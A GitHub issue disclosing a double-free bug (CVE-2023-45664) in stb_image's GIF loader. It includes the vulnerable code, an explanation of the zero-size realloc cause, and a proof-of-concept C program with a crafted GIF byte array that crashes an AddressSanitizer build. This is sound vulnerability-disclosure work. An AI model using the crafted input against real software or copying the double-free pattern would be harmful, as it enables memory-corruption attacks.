Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Double-free in stbi__load_gif_main_outofmem (GHSL-2023-148/CVE-2023-45664) #1544

Open
JarLob opened this issue Oct 19, 2023 · 0 comments · May be fixed by #1545
Open

Double-free in stbi__load_gif_main_outofmem (GHSL-2023-148/CVE-2023-45664) #1544

JarLob opened this issue Oct 19, 2023 · 0 comments · May be fixed by #1545

Comments

@JarLob
Copy link

JarLob commented Oct 19, 2023

A crafted image file can trigger stbi__load_gif_main_outofmem attempt to double-free the out variable. [1]

static void *stbi__load_gif_main_outofmem(stbi__gif *g, stbi_uc *out, int **delays)
{
   STBI_FREE(g->out);
   STBI_FREE(g->history);
   STBI_FREE(g->background);

   if (out) STBI_FREE(out); // [1] Double-free
   if (delays && *delays) STBI_FREE(*delays);
   return stbi__errpuc("outofmem", "Out of memory");
}

This happens in stbi__load_gif_main because when the layers * stride is zero [2] the behavior is implementation defined, but common that realloc frees the old memory and returns null pointer. Since it attempts to double-free the memory [3] a few lines below the first "free" [2], the issue can be potentially exploited only in a multi-threaded environment.

...
 void *tmp = (stbi_uc*) STBI_REALLOC_SIZED( out, out_size, layers * stride ); // [2]
 if (!tmp)
    return stbi__load_gif_main_outofmem(&g, out, delays); // [3]
...

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x47,0x49,0x46,0x38,0x39,0x61,0x00,0x00,0x00,0x00,0xf8,0x0a,0xdc,
                            0x04,0xfc,0x00,0x46,0x00,0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x00,0x00,0x46,0x00,0x00,0x2c,0x00,0x00};
    size_t size = sizeof(data);

    int x, y, z, channels;
    stbi_uc *img = stbi_load_gif_from_memory(data, size, NULL, &x, &y, &z, &channels, 4);
    stbi_image_free(img);
    return 0;
}
  1. Run the program to hit the error.
==145841==ERROR: AddressSanitizer: attempting double-free on 0x602000000070 in thread T0:
    #0 0x49e522 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:52:3
    #1 0x4eb732 in stbi__load_gif_main_outofmem(stbi__gif*, unsigned char*, int**) tests/../stb_image.h:6957:13
    #2 0x4df18f in stbi__load_gif_main(stbi__context*, int**, int*, int*, int*, int*, int) tests/../stb_image.h:6995:26
    #3 0x4de8bd in stbi_load_gif_from_memory tests/../stb_image.h:1448:30
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant